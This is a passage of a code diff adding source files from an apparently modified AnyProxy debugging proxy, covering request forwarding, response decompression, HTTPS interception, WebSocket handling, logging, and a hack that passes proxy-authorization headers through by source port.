this.httpsAsyncTask = new asyncTask();
this.handler = config.handler;
this.wsHandler = config.wsHandler
}
getSharedHttpsServer(hostname) {
// ip address will have a unique name
const finalHost = util.isIpDomain(hostname) ? hostname : this.instanceDefaultHost;
const self = this;
function prepareServer(callback) {
let instancePort;
co(util.getFreePort)
.then(co.wrap(function *(port) {
instancePort = port;
let httpsServer = null;
// if ip address passed in, will create an IP http server
if (util.isIpDomain(hostname)) {
httpsServer = yield createIPHttpsServer({
ip: hostname,
port,
handler: self.handler
});
} else {
httpsServer = yield createHttpsServer({
port,
handler: self.handler
});
}
wsServerMgr.getWsServer({
server: httpsServer,
connHandler: self.wsHandler
});
httpsServer.on('upgrade', (req, cltSocket, head) => {
logUtil.debug('will let WebSocket server to handle the upgrade event');
});
const result = {
host: finalHost,
port: instancePort,
};
callback(null, result);
return result;
}))
.catch(e => {
callback(e);
});
}
return new Promise((resolve, reject) => {
// each ip address will gain a unit task name,
// while the domain address will share a common task name
self.httpsAsyncTask.addTask(`createHttpsServer-${finalHost}`, prepareServer, (error, serverInfo) => {
if (error) {
reject(error);
} else {
resolve(serverInfo);
}
});
});
}
}
module.exports = httpsServerMgr;
+105
View File
@@ -0,0 +1,105 @@
'use strict'
const color = require('colorful');
const util = require('./util');
let ifPrint = true;
let logLevel = 0;
const LogLevelMap = {
tip: 0,
system_error: 1,
rule_error: 2,
warn: 3,
debug: 4,
};
function setPrintStatus(status) {
ifPrint = !!status;
}
function setLogLevel(level) {
logLevel = parseInt(level, 10);
}
function printLog(content, type) {
if (!ifPrint) {
return;
}
const timeString = util.formatDate(new Date(), 'YYYY-MM-DD hh:mm:ss');
switch (type) {
case LogLevelMap.tip: {
if (logLevel > 0) {
return;
}
console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content));
break;
}
case LogLevelMap.system_error: {
if (logLevel > 1) {
return;
}
console.error(color.red(`[AnyProxy ERROR][${timeString}]: ` + content));
break;
}
case LogLevelMap.rule_error: {
if (logLevel > 2) {
return;
}
console.error(color.red(`[AnyProxy RULE_ERROR][${timeString}]: ` + content));
break;
}
case LogLevelMap.warn: {
if (logLevel > 3) {
return;
}
console.error(color.yellow(`[AnyProxy WARN][${timeString}]: ` + content));
break;
}
case LogLevelMap.debug: {
console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content));
return;
}
default : {
console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content));
break;
}
}
}
module.exports.printLog = printLog;
module.exports.debug = (content) => {
printLog(content, LogLevelMap.debug);
};
module.exports.info = (content) => {
printLog(content, LogLevelMap.tip);
};
module.exports.warn = (content) => {
printLog(content, LogLevelMap.warn);
};
module.exports.error = (content) => {
printLog(content, LogLevelMap.system_error);
};
module.exports.ruleError = (content) => {
printLog(content, LogLevelMap.rule_error);
};
module.exports.setPrintStatus = setPrintStatus;
module.exports.setLogLevel = setLogLevel;
module.exports.T_TIP = LogLevelMap.tip;
module.exports.T_ERR = LogLevelMap.system_error;
module.exports.T_RULE_ERROR = LogLevelMap.rule_error;
module.exports.T_WARN = LogLevelMap.warn;
module.exports.T_DEBUG = LogLevelMap.debug;
+374
View File
@@ -0,0 +1,374 @@
'use strict'
//start recording and share a list when required
const Datastore = require('nedb'),
path = require('path'),
fs = require('fs'),
logUtil = require('./log'),
events = require('events'),
iconv = require('iconv-lite'),
fastJson = require('fast-json-stringify'),
proxyUtil = require('./util');
const wsMessageStingify = fastJson({
title: 'ws message stringify',
type: 'object',
properties: {
time: {
type: 'integer'
},
message: {
type: 'string'
},
isToServer: {
type: 'boolean'
}
}
});
const BODY_FILE_PRFIX = 'res_body_';
const WS_MESSAGE_FILE_PRFIX = 'ws_message_';
const CACHE_DIR_PREFIX = 'cache_r';
function getCacheDir() {
const rand = Math.floor(Math.random() * 1000000),
cachePath = path.join(proxyUtil.getAnyProxyPath('cache'), './' + CACHE_DIR_PREFIX + rand);
//fs.mkdirSync(cachePath);
return cachePath;
}
function normalizeInfo(id, info) {
const singleRecord = {};
//general
singleRecord._id = id;
singleRecord.id = id;
singleRecord.url = info.url;
singleRecord.host = info.host;
singleRecord.path = info.path;
singleRecord.method = info.method;
//req
singleRecord.reqHeader = info.req.headers;
singleRecord.startTime = info.startTime;
singleRecord.reqBody = info.reqBody || '';
singleRecord.protocol = info.protocol || '';
//res
if (info.endTime) {
singleRecord.statusCode = info.statusCode;
singleRecord.endTime = info.endTime;
singleRecord.resHeader = info.resHeader;
singleRecord.length = info.length;
const contentType = info.resHeader['content-type'] || info.resHeader['Content-Type'];
if (contentType) {
singleRecord.mime = contentType.split(';')[0];
} else {
singleRecord.mime = '';
}
singleRecord.duration = info.endTime - info.startTime;
} else {
singleRecord.statusCode = '';
singleRecord.endTime = '';
singleRecord.resHeader = '';
singleRecord.length = '';
singleRecord.mime = '';
singleRecord.duration = '';
}
return singleRecord;
}
class Recorder extends events.EventEmitter {
constructor(config) {
super(config);
this.globalId = 1;
this.cachePath = getCacheDir();
this.db = new Datastore();
this.recordBodyMap = []; // id - body
}
setDbAutoCompact() {
this.db.persistence.setAutocompactionInterval(5001);
}
stopDbAutoCompact() {
try {
this.db.persistence.stopAutocompaction();
} catch (e) {
logUtil.printLog(e, logUtil.T_ERR);
}
}
emitUpdate(id, info) {
const self = this;
if (info) {
self.emit('update', info);
} else {
self.getSingleRecord(id, (err, doc) => {
if (!err && !!doc && !!doc[0]) {
self.emit('update', doc[0]);
}
});
}
}
emitUpdateLatestWsMessage(id, message) {
this.emit('updateLatestWsMsg', message);
}
updateRecord(id, info) {
/*
if (id < 0) return;
const self = this;
const db = self.db;
const finalInfo = normalizeInfo(id, info);
db.update({ _id: id }, finalInfo);
self.updateRecordBody(id, info);
self.emitUpdate(id, finalInfo);
*/
}
/**
* This method shall be called at each time there are new message
*
*/
updateRecordWsMessage(id, message) {
if (id < 0) return;
try {
this.getCacheFile(WS_MESSAGE_FILE_PRFIX + id, (err, recordWsMessageFile) => {
if (err) return;
return
//fs.appendFile(recordWsMessageFile, wsMessageStingify(message) + ',', () => {});
});
} catch (e) {
console.error(e);
logUtil.error(e.message + e.stack);
}
this.emitUpdateLatestWsMessage(id, {
id: id,
message: message
});
}
updateExtInfo(id, extInfo) {
const self = this;
const db = self.db;
/*
db.update({ _id: id }, { $set: { ext: extInfo } }, {}, (err, nums) => {
if (!err) {
self.emitUpdate(id);
}
});
*/
}
appendRecord(info) {
if (info.req.headers.anyproxy_web_req) { //TODO request from web interface
return -1;
}
const self = this;
const db = self.db;
const thisId = self.globalId++;
/*
const finalInfo = normalizeInfo(thisId, info);
db.insert(finalInfo);
self.updateRecordBody(thisId, info);
self.emitUpdate(thisId, finalInfo);
*/
return thisId;
}
updateRecordBody(id, info) {
const self = this;
if (id === -1) return;
if (!id || typeof info.resBody === 'undefined') return;
//add to body map
//ignore image data
return
self.getCacheFile(BODY_FILE_PRFIX + id, (err, bodyFile) => {
if (err) return;
//fs.writeFile(bodyFile, info.resBody, () => {});
});
}
/**
* get body and websocket file
*
*/
getBody(id, cb) {
const self = this;
if (id < 0) {
cb && cb('');
return;
}
self.getCacheFile(BODY_FILE_PRFIX + id, (error, bodyFile) => {
if (error) {
cb && cb(error);
return;
}
fs.access(bodyFile, fs.F_OK || fs.R_OK, (err) => {
if (err) {
cb && cb(err);
} else {
fs.readFile(bodyFile, cb);
}
});
});
}
getDecodedBody(id, cb) {
const self = this;
const result = {
method: '',
type: 'unknown',
mime: '',
content: ''
};
self.getSingleRecord(id, (err, doc) => {
//check whether this record exists
if (!doc || !doc[0]) {
cb(new Error('failed to find record for this id'));
return;
}
// also put the `method` back, so the client can decide whether to load ws messages
result.method = doc[0].method;
self.getBody(id, (error, bodyContent) => {
if (error) {
cb(error);
} else if (!bodyContent) {
cb(null, result);
} else {
const record = doc[0],
resHeader = record.resHeader || {};
try {
const headerStr = JSON.stringify(resHeader),
charsetMatch = headerStr.match(/charset='?([a-zA-Z0-9-]+)'?/),
contentType = resHeader && (resHeader['content-type'] || resHeader['Content-Type']);
if (charsetMatch && charsetMatch.length) {
const currentCharset = charsetMatch[1].toLowerCase();
if (currentCharset !== 'utf-8' && iconv.encodingExists(currentCharset)) {
bodyContent = iconv.decode(bodyContent, currentCharset);
}
result.content = bodyContent.toString();
result.type = contentType && /application\/json/i.test(contentType) ? 'json' : 'text';
} else if (contentType && /image/i.test(contentType)) {
result.type = 'image';
result.content = bodyContent;
} else {
result.type = contentType;
result.content = bodyContent.toString();
}
result.mime = contentType;
result.fileName = path.basename(record.path);
result.statusCode = record.statusCode;
} catch (e) {
console.error(e);
}
cb(null, result);
}
});
});
}
/**
* get decoded WebSoket messages
*
*/
getDecodedWsMessage(id, cb) {
if (id < 0) {
cb && cb([]);
return;
}
this.getCacheFile(WS_MESSAGE_FILE_PRFIX + id, (outError, wsMessageFile) => {
if (outError) {
cb && cb(outError);
return;
}
fs.access(wsMessageFile, fs.F_OK || fs.R_OK, (err) => {
if (err) {
cb && cb(err);
} else {
fs.readFile(wsMessageFile, 'utf8', (error, content) => {
if (error) {
cb && cb(err);
}
try {
// remove the last dash "," if it has, since it's redundant
// and also add brackets to make it a complete JSON structure
content = `[${content.replace(/,$/, '')}]`;
const messages = JSON.parse(content);
cb(null, messages);
} catch (e) {
console.error(e);
logUtil.error(e.message + e.stack);
cb(e);
}
});
}
});
});
}
getSingleRecord(id, cb) {
const self = this;
const db = self.db;
db.find({ _id: parseInt(id, 10) }, cb);
}
getSummaryList(cb) {
const self = this;
const db = self.db;
db.find({}, cb);
}
getRecords(idStart, limit, cb) {
const self = this;
const db = self.db;
limit = limit || 10;
idStart = typeof idStart === 'number' ? idStart : (self.globalId - limit);
db.find({ _id: { $gte: parseInt(idStart, 10) } })
.sort({ _id: 1 })
.limit(limit)
.exec(cb);
}
clear() {
logUtil.printLog('clearing cache file...');
const self = this;
proxyUtil.deleteFolderContentsRecursive(self.cachePath, true);
}
getCacheFile(fileName, cb) {
const self = this;
const cachePath = self.cachePath;
const filepath = path.join(cachePath, fileName);
if (filepath.indexOf(cachePath) !== 0) {
cb && cb(new Error('invalid cache file path'));
} else {
cb && cb(null, filepath);
return filepath;
}
}
}
module.exports = Recorder;
+84
View File
@@ -0,0 +1,84 @@
'use strict';
/*
* handle all request error here,
*
*/
const pug = require('pug');
const path = require('path');
const error502PugFn = pug.compileFile(path.join(__dirname, '../resource/502.pug'));
const certPugFn = pug.compileFile(path.join(__dirname, '../resource/cert_error.pug'));
/**
* get error content for certification issues
*/
function getCertErrorContent(error, fullUrl) {
let content;
const title = 'The connection is not private. ';
let explain = 'There are error with the certfication of the site.';
switch (error.code) {
case 'UNABLE_TO_GET_ISSUER_CERT_LOCALLY': {
explain = 'The certfication of the site you are visiting is not issued by a known agency, '
+ 'It usually happenes when the cert is a self-signed one.</br>'
+ 'If you know and trust the site, you can run AnyProxy with option <strong>-ignore-unauthorized-ssl</strong> to continue.'
break;
}
default: {
explain = ''
break;
}
}
try {
content = certPugFn({
title: title,
explain: explain,
code: error.code
});
} catch (parseErro) {
content = error.stack;
}
return content;
}
/*
* get the default error content
*/
function getDefaultErrorCotent(error, fullUrl) {
let content;
try {
content = error502PugFn({
error,
url: fullUrl,
errorStack: error.stack.split(/\n/)
});
} catch (parseErro) {
content = error.stack;
}
return content;
}
/*
* get mapped error content for each error
*/
module.exports.getErrorContent = function (error, fullUrl) {
let content = '';
error = error || {};
switch (error.code) {
case 'UNABLE_TO_GET_ISSUER_CERT_LOCALLY': {
content = getCertErrorContent(error, fullUrl);
break;
}
default: {
content = getDefaultErrorCotent(error, fullUrl);
break;
}
}
return content;
}
+946
View File
@@ -0,0 +1,946 @@
'use strict';
const http = require('http'),
https = require('https'),
net = require('net'),
url = require('url'),
zlib = require('zlib'),
color = require('colorful'),
Buffer = require('buffer').Buffer,
util = require('./util'),
Stream = require('stream'),
logUtil = require('./log'),
co = require('co'),
WebSocket = require('ws'),
HttpsServerMgr = require('./httpsServerMgr'),
brotliTorb = require('brotli'),
Readable = require('stream').Readable;
const requestErrorHandler = require('./requestErrorHandler');
// to fix issue with TLS cache, refer to: https://github.com/nodejs/node/issues/8368
https.globalAgent.maxCachedSessions = 0;
const DEFAULT_CHUNK_COLLECT_THRESHOLD = 20 * 1024 * 1024; // about 20 mb
class CommonReadableStream extends Readable {
constructor(config) {
super({
highWaterMark: DEFAULT_CHUNK_COLLECT_THRESHOLD * 5
});
}
_read(size) {
}
}
/*
* get error response for exception scenarios
*/
const getErrorResponse = (error, fullUrl) => {
// default error response
const errorResponse = {
statusCode: 500,
header: {
'Content-Type': 'text/html; charset=utf-8',
'Proxy-Error': true,
'Proxy-Error-Message': error ? JSON.stringify(error) : 'null'
},
body: requestErrorHandler.getErrorContent(error, fullUrl)
};
return errorResponse;
}
/**
* fetch remote response
*
* @param {string} protocol
* @param {object} options options of http.request
* @param {buffer} reqData request body
* @param {object} config
* @param {boolean} config.dangerouslyIgnoreUnauthorized
* @param {boolean} config.chunkSizeThreshold
* @returns
*/
function fetchRemoteResponse(protocol, options, reqData, config) {
reqData = reqData || '';
return new Promise((resolve, reject) => {
delete options.headers['content-length']; // will reset the content-length after rule
delete options.headers['Content-Length'];
delete options.headers['Transfer-Encoding'];
delete options.headers['transfer-encoding'];
if (config.dangerouslyIgnoreUnauthorized) {
options.rejectUnauthorized = false;
}
if (!config.chunkSizeThreshold) {
throw new Error('chunkSizeThreshold is required');
}
//send request
const proxyReq = (/https/i.test(protocol) ? https : http).request(options, (res) => {
res.headers = util.getHeaderFromRawHeaders(res.rawHeaders);
//deal response header
const statusCode = res.statusCode;
const resHeader = res.headers;
let resDataChunks = []; // array of data chunks or stream
const rawResChunks = []; // the original response chunks
let resDataStream = null;
let resSize = 0;
const finishCollecting = () => {
new Promise((fulfill, rejectParsing) => {
if (resDataStream) {
fulfill(resDataStream);
} else {
const serverResData = Buffer.concat(resDataChunks);
const originContentLen = util.getByteSize(serverResData);
// remove gzip related header, and ungzip the content
// note there are other compression types like deflate
const contentEncoding = resHeader['content-encoding'] || resHeader['Content-Encoding'];
const ifServerGzipped = /gzip/i.test(contentEncoding);
const isServerDeflated = /deflate/i.test(contentEncoding);
const isBrotlied = /br/i.test(contentEncoding);
/**
* when the content is unzipped, update the header content
*/
const refactContentEncoding = () => {
if (contentEncoding) {
resHeader['x-anyproxy-origin-content-encoding'] = contentEncoding;
delete resHeader['content-encoding'];
delete resHeader['Content-Encoding'];
}
}
// set origin content length into header
resHeader['x-anyproxy-origin-content-length'] = originContentLen;
// only do unzip when there is res data
if (ifServerGzipped && originContentLen) {
refactContentEncoding();
zlib.gunzip(serverResData, (err, buff) => {
if (err) {
rejectParsing(err);
} else {
fulfill(buff);
}
});
} else if (isServerDeflated && originContentLen) {
refactContentEncoding();
zlib.inflateRaw(serverResData, (err, buff) => {
if (err) {
rejectParsing(err);
} else {
fulfill(buff);
}
});
} else if (isBrotlied && originContentLen) {
refactContentEncoding();
try {
// an Unit8Array returned by decompression
const result = brotliTorb.decompress(serverResData);
fulfill(Buffer.from(result));
} catch (e) {
rejectParsing(e);
}
} else {
fulfill(serverResData);
}
}
}).then((serverResData) => {
resolve({
statusCode,
header: resHeader,
body: serverResData,
rawBody: rawResChunks,
_res: res,
});
}).catch((e) => {
reject(e);
});
};
//deal response data
res.on('data', (chunk) => {
rawResChunks.push(chunk);
if (resDataStream) { // stream mode
resDataStream.push(chunk);
} else { // dataChunks
resSize += chunk.length;
resDataChunks.push(chunk);
// stop collecting, convert to stream mode
if (resSize >= config.chunkSizeThreshold) {
resDataStream = new CommonReadableStream();
while (resDataChunks.length) {
resDataStream.push(resDataChunks.shift());
}
resDataChunks = null;
finishCollecting();
}
}
});
res.on('end', () => {
if (resDataStream) {
resDataStream.push(null); // indicate the stream is end
} else {
finishCollecting();
}
});
res.on('error', (error) => {
logUtil.printLog('error happend in response:' + error, logUtil.T_ERR);
reject(error);
});
});
proxyReq.on('error', reject);
proxyReq.end(reqData);
});
}
/**
* get request info from the ws client, includes:
host
port
path
protocol ws/wss
@param @required wsClient the ws client of WebSocket
*
*/
function getWsReqInfo(wsReq) {
const headers = wsReq.headers || {};
const host = headers.host;
const hostName = host.split(':')[0];
const port = host.split(':')[1];
// TODO 如果是windows机器,url是不是全路径?需要对其过滤,取出
const path = wsReq.url || '/';
const isEncript = wsReq.connection && wsReq.connection.encrypted;
/**
* construct the request headers based on original connection,
* but delete the `sec-websocket-*` headers as they are already consumed by AnyProxy
*/
const getNoWsHeaders = () => {
const originHeaders = Object.assign({}, headers);
const originHeaderKeys = Object.keys(originHeaders);
originHeaderKeys.forEach((key) => {
// if the key matchs 'sec-websocket', delete it
if (/sec-websocket/ig.test(key)) {
delete originHeaders[key];
}
});
delete originHeaders.connection;
delete originHeaders.upgrade;
return originHeaders;
}
return {
headers: headers, // the full headers of origin ws connection
noWsHeaders: getNoWsHeaders(),
hostName: hostName,
port: port,
path: path,
protocol: isEncript ? 'wss' : 'ws'
};
}
/**
* get a request handler for http/https server
*
* @param {RequestHandler} reqHandlerCtx
* @param {object} userRule
* @param {Recorder} recorder
* @returns
*/
function getUserReqHandler(userRule, recorder) {
const reqHandlerCtx = this
return function (req, userRes) {
/*
note
req.url is wired
in http server: http://www.example.com/a/b/c
in https server: /a/b/c
*/
/*
This source port correlation is a huge hack. Eeeesh.
I should've just written the HTTPS interception proxy
myself, but it's too late for that now \o/. Maybe later.
*/
// Pull the header out of the global proxy auth correlation table
var remote_port_key = req.socket.remotePort;
var proxy_authentication_header = false;
// Automatically clean up the entry from the table once the
// socket is properly terminated.
req.socket.on('close', () => {
delete global.proxyAuthPassthru[req.socket.remotePort];
});
//console.log(`Source port for HTTPS connecting to us: ${req.socket.remotePort}`);
if(global.proxyAuthPassthru && remote_port_key in global.proxyAuthPassthru) {
proxy_authentication_header = global.proxyAuthPassthru[remote_port_key]['proxy_authorization'];
}
if(proxy_authentication_header) {
req.rawHeaders.push('Proxy-Authorization');
req.rawHeaders.push(proxy_authentication_header);
}
const host = req.headers.host;
const protocol = (!!req.connection.encrypted && !(/^http:/).test(req.url)) ? 'https' : 'http';
// try find fullurl https://github.com/alibaba/anyproxy/issues/419
let fullUrl = protocol + '://' + host + req.url;
if (protocol === 'http') {
const reqUrlPattern = url.parse(req.url);
if (reqUrlPattern.host && reqUrlPattern.protocol) {
fullUrl = req.url;
}
}
const urlPattern = url.parse(fullUrl);
const path = urlPattern.path;
const chunkSizeThreshold = DEFAULT_CHUNK_COLLECT_THRESHOLD;
let resourceInfo = null;
let resourceInfoId = -1;
let reqData;
let requestDetail;
// refer to https://github.com/alibaba/anyproxy/issues/103
// construct the original headers as the reqheaders
req.headers = util.getHeaderFromRawHeaders(req.rawHeaders);
logUtil.printLog(color.green(`received request to: ${req.method} ${host}${path}`));
/**
* fetch complete req data
*/
const fetchReqData = () => new Promise((resolve) => {
const postData = [];
req.on('data', (chunk) => {
postData.push(chunk);
});
req.on('end', () => {
reqData = Buffer.concat(postData);
resolve();
});
});
/**
* prepare detailed request info
*/
const prepareRequestDetail = () => {
const options = {
hostname: urlPattern.hostname || req.headers.host,
port: urlPattern.port || req.port || (/https/.test(protocol) ? 443 : 80),
path,
method: req.method,
headers: req.headers
};
requestDetail = {
requestOptions: options,
protocol,
url: fullUrl,
requestData: reqData,
_req: req
};
return Promise.resolve();
};
/**
* send response to client
*
* @param {object} finalResponseData
* @param {number} finalResponseData.statusCode
* @param {object} finalResponseData.header
* @param {buffer|string} finalResponseData.body
*/
const sendFinalResponse = (finalResponseData) => {
const responseInfo = finalResponseData.response;
const resHeader = responseInfo.header;
const responseBody = responseInfo.body || '';
const transferEncoding = resHeader['transfer-encoding'] || resHeader['Transfer-Encoding'] || '';
const contentLength = resHeader['content-length'] || resHeader['Content-Length'];
const connection = resHeader.Connection || resHeader.connection;
if (contentLength) {
delete resHeader['content-length'];
delete resHeader['Content-Length'];
}
// set proxy-connection
if (connection) {
resHeader['x-anyproxy-origin-connection'] = connection;
delete resHeader.connection;
delete resHeader.Connection;
}
if (!responseInfo) {
throw new Error('failed to get response info');
} else if (!responseInfo.statusCode) {
throw new Error('failed to get response status code')
} else if (!responseInfo.header) {
throw new Error('filed to get response header');
}
// if there is no transfer-encoding, set the content-length
if (!global._throttle
&& transferEncoding !== 'chunked'
&& !(responseBody instanceof CommonReadableStream)
) {
resHeader['Content-Length'] = util.getByteSize(responseBody);
}
userRes.writeHead(responseInfo.statusCode, resHeader);
if (global._throttle) {
if (responseBody instanceof CommonReadableStream) {
responseBody.pipe(global._throttle.throttle()).pipe(userRes);
} else {
const thrStream = new Stream();
thrStream.pipe(global._throttle.throttle()).pipe(userRes);
thrStream.emit('data', responseBody);
thrStream.emit('end');
}
} else {
if (responseBody instanceof CommonReadableStream) {
responseBody.pipe(userRes);
} else {
userRes.end(responseBody);
}
}
return responseInfo;
}
// fetch complete request data
co(fetchReqData)
.then(prepareRequestDetail)
.then(() => {
// record request info
if (recorder) {
resourceInfo = {
host,
method: req.method,
path,
protocol,
url: protocol + '://' + host + path,
req,
startTime: new Date().getTime()
};
resourceInfoId = recorder.appendRecord(resourceInfo);
}
try {
resourceInfo.reqBody = reqData.toString(); //TODO: deal reqBody in webInterface.js
recorder && recorder.updateRecord(resourceInfoId, resourceInfo);
} catch (e) { }
})
// invoke rule before sending request
.then(co.wrap(function *() {
const userModifiedInfo = (yield userRule.beforeSendRequest(Object.assign({}, requestDetail))) || {};
const finalReqDetail = {};
['protocol', 'requestOptions', 'requestData', 'response'].map((key) => {
finalReqDetail[key] = userModifiedInfo[key] || requestDetail[key]
});
return finalReqDetail;
}))
// route user config
.then(co.wrap(function *(userConfig) {
if (userConfig.response) {
// user-assigned local response
userConfig._directlyPassToRespond = true;
return userConfig;
} else if (userConfig.requestOptions) {
const remoteResponse = yield fetchRemoteResponse(userConfig.protocol, userConfig.requestOptions, userConfig.requestData, {
dangerouslyIgnoreUnauthorized: reqHandlerCtx.dangerouslyIgnoreUnauthorized,
chunkSizeThreshold,
});
return {
response: {
statusCode: remoteResponse.statusCode,
header: remoteResponse.header,
body: remoteResponse.body,
rawBody: remoteResponse.rawBody
},
_res: remoteResponse._res,
};
} else {
throw new Error('lost response or requestOptions, failed to continue');
}
}))
// invoke rule before responding to client
.then(co.wrap(function *(responseData) {
if (responseData._directlyPassToRespond) {
return responseData;
} else if (responseData.response.body && responseData.response.body instanceof CommonReadableStream) { // in stream mode
return responseData;
} else {
// TODO: err etimeout
return (yield userRule.beforeSendResponse(Object.assign({}, requestDetail), Object.assign({}, responseData))) || responseData;
}
}))
.catch(co.wrap(function *(error) {
logUtil.printLog(util.collectErrorLog(error), logUtil.T_ERR);
let errorResponse = getErrorResponse(error, fullUrl);
// call user rule
try {
const userResponse = yield userRule.onError(Object.assign({}, requestDetail), error);
if (userResponse && userResponse.response && userResponse.response.header) {
errorResponse = userResponse.response;
}
} catch (e) {}
return {
response: errorResponse
};
}))
.then(sendFinalResponse)
//update record info
.then((responseInfo) => {
resourceInfo.endTime = new Date().getTime();
resourceInfo.res = { //construct a self-defined res object
statusCode: responseInfo.statusCode,
headers: responseInfo.header,
};
resourceInfo.statusCode = responseInfo.statusCode;
resourceInfo.resHeader = responseInfo.header;
resourceInfo.resBody = responseInfo.body instanceof CommonReadableStream ? '(big stream)' : (responseInfo.body || '');
resourceInfo.length = resourceInfo.resBody.length;
// console.info('===> resbody in record', resourceInfo);
recorder && recorder.updateRecord(resourceInfoId, resourceInfo);
})
.catch((e) => {
logUtil.printLog(color.green('Send final response failed:' + e.message), logUtil.T_ERR);
});
}
}
/**
* get a handler for CONNECT request
*
* @param {RequestHandler} reqHandlerCtx
* @param {object} userRule
* @param {Recorder} recorder
* @param {object} httpsServerMgr
* @returns
*/
function getConnectReqHandler(userRule, recorder, httpsServerMgr) {
const reqHandlerCtx = this; reqHandlerCtx.conns = new Map(); reqHandlerCtx.cltSockets = new Map()
return function (req, cltSocket, head) {
const host = req.url.split(':')[0],
targetPort = req.url.split(':')[1];
let shouldIntercept;
let interceptWsRequest = false;
let requestDetail;
let resourceInfo = null;
let resourceInfoId = -1;
const requestStream = new CommonReadableStream();
var proxy_authorization = req.headers['proxy-authorization'];
/*
1. write HTTP/1.1 200 to client
2. get request data
3. tell if it is a websocket request
4.1 if (websocket || do_not_intercept) --> pipe to target server
4.2 else --> pipe to local server and do man-in-the-middle attack
*/
co(function *() {
// determine whether to use the man-in-the-middle server
logUtil.printLog(color.green('received https CONNECT request ' + host));
requestDetail = {
host: req.url,
_req: req
};
// the return value in default rule is null
// so if the value is null, will take it as final value
shouldIntercept = yield userRule.beforeDealHttpsRequest(requestDetail);
// otherwise, will take the passed in option
if (shouldIntercept === null) {
shouldIntercept = reqHandlerCtx.forceProxyHttps;
}
})
.then(() => {
return new Promise((resolve) => {
// mark socket connection as established, to detect the request protocol
cltSocket.write('HTTP/' + req.httpVersion + ' 200 OK\r\n\r\n', 'UTF-8', resolve);
});
})
.then(() => {
return new Promise((resolve, reject) => {
let resolved = false;
cltSocket.on('data', (chunk) => {
requestStream.push(chunk);
if (!resolved) {
resolved = true;
try {
const chunkString = chunk.toString();
if (chunkString.indexOf('GET ') === 0) {
shouldIntercept = false; // websocket, do not intercept
// if there is '/do-not-proxy' in the request, do not intercept the websocket
// to avoid AnyProxy itself be proxied
if (reqHandlerCtx.wsIntercept && chunkString.indexOf('GET /do-not-proxy') !== 0) {
interceptWsRequest = true;
}
}
} catch (e) {
console.error(e);
}
resolve();
}
});
cltSocket.on('error', (error) => {
logUtil.printLog(util.collectErrorLog(error), logUtil.T_ERR);
co.wrap(function *() {
try {
yield userRule.onClientSocketError(requestDetail, error);
} catch (e) { }
});
});
cltSocket.on('end', () => {
requestStream.push(null);
});
});
})
.then((result) => {
// log and recorder
if (shouldIntercept) {
logUtil.printLog('will forward to local https server');
} else {
logUtil.printLog('will bypass the man-in-the-middle proxy');
}
//record
if (recorder) {
resourceInfo = {
host,
method: req.method,
path: '',
url: 'https://' + host,
req,
startTime: new Date().getTime()
};
resourceInfoId = recorder.appendRecord(resourceInfo);
}
})
.then(() => {
// determine the request target
if (!shouldIntercept) {
// server info from the original request
const originServer = {
host,
port: (targetPort === 80) ? 443 : targetPort
}
const localHttpServer = {
host: 'localhost',
port: reqHandlerCtx.httpServerPort
}
// for ws request, redirect them to local ws server
return interceptWsRequest ? localHttpServer : originServer;
} else {
return httpsServerMgr.getSharedHttpsServer(host).then(serverInfo => ({ host: serverInfo.host, port: serverInfo.port }));
}
})
.then((serverInfo) => {
if (!serverInfo.port || !serverInfo.host) {
throw new Error('failed to get https server info');
}
return new Promise((resolve, reject) => {
const conn = net.connect(serverInfo.port, serverInfo.host, () => {
//throttle for direct-foward https
if (global._throttle && !shouldIntercept) {
requestStream.pipe(conn);
conn.pipe(global._throttle.throttle()).pipe(cltSocket);
} else {
requestStream.pipe(conn);
conn.pipe(cltSocket);
}
if(!global.proxyAuthPassthru) {
global.proxyAuthPassthru = {};
}
//console.log(`Source port for HTTPS -> HTTP: ${conn.localPort}`);
global.proxyAuthPassthru[conn.localPort] = {
'proxy_authorization': proxy_authorization
};
resolve();
});
conn.on('error', (e) => {
reject(e);
});
reqHandlerCtx.conns.set(serverInfo.host + ':' + serverInfo.port, conn)
reqHandlerCtx.cltSockets.set(serverInfo.host + ':' + serverInfo.port, cltSocket)
});
})
.then(() => {
if (recorder) {
resourceInfo.endTime = new Date().getTime();
resourceInfo.statusCode = '200';
resourceInfo.resHeader = {};
resourceInfo.resBody = '';
resourceInfo.length = 0;
recorder && recorder.updateRecord(resourceInfoId, resourceInfo);
}
})
.catch(co.wrap(function *(error) {
logUtil.printLog(util.collectErrorLog(error), logUtil.T_ERR);
try {
yield userRule.onConnectError(requestDetail, error);
} catch (e) { }
try {
let errorHeader = 'Proxy-Error: true\r\n';
errorHeader += 'Proxy-Error-Message: ' + (error || 'null') + '\r\n';
errorHeader += 'Content-Type: text/html\r\n';
cltSocket.write('HTTP/1.1 502\r\n' + errorHeader + '\r\n\r\n');
} catch (e) { }
}));
}
}
/**
* get a websocket event handler
@param @required {object} wsClient
*/
function getWsHandler(userRule, recorder, wsClient, wsReq) {
const self = this;
try {
let resourceInfoId = -1;
const resourceInfo = {
wsMessages: [] // all ws messages go through AnyProxy
};
const clientMsgQueue = [];
const serverInfo = getWsReqInfo(wsReq);
const serverInfoPort = serverInfo.port ? `:${serverInfo.port}` : '';
const wsUrl = `${serverInfo.protocol}://${serverInfo.hostName}${serverInfoPort}${serverInfo.path}`;
const proxyWs = new WebSocket(wsUrl, '', {
rejectUnauthorized: !self.dangerouslyIgnoreUnauthorized,
headers: serverInfo.noWsHeaders
});
if (recorder) {
Object.assign(resourceInfo, {
host: serverInfo.hostName,
method: 'WebSocket',
path: serverInfo.path,
url: wsUrl,
req: wsReq,
startTime: new Date().getTime()
});
resourceInfoId = recorder.appendRecord(resourceInfo);
}
/**
* store the messages before the proxy ws is ready
*/
const sendProxyMessage = (event) => {
const message = event.data;
if (proxyWs.readyState === 1) {
// if there still are msg queue consuming, keep it going
if (clientMsgQueue.length > 0) {
clientMsgQueue.push(message);
} else {
proxyWs.send(message);
}
} else {
clientMsgQueue.push(message);
}
}
/**
* consume the message in queue when the proxy ws is not ready yet
* will handle them from the first one-by-one
*/
const consumeMsgQueue = () => {
while (clientMsgQueue.length > 0) {
const message = clientMsgQueue.shift();
proxyWs.send(message);
}
}
/**
* When the source ws is closed, we need to close the target websocket.
* If the source ws is normally closed, that is, the code is reserved, we need to transfrom them
*/
const getCloseFromOriginEvent = (event) => {
const code = event.code || '';
const reason = event.reason || '';
let targetCode = '';
let targetReason = '';
if (code >= 1004 && code <= 1006) {
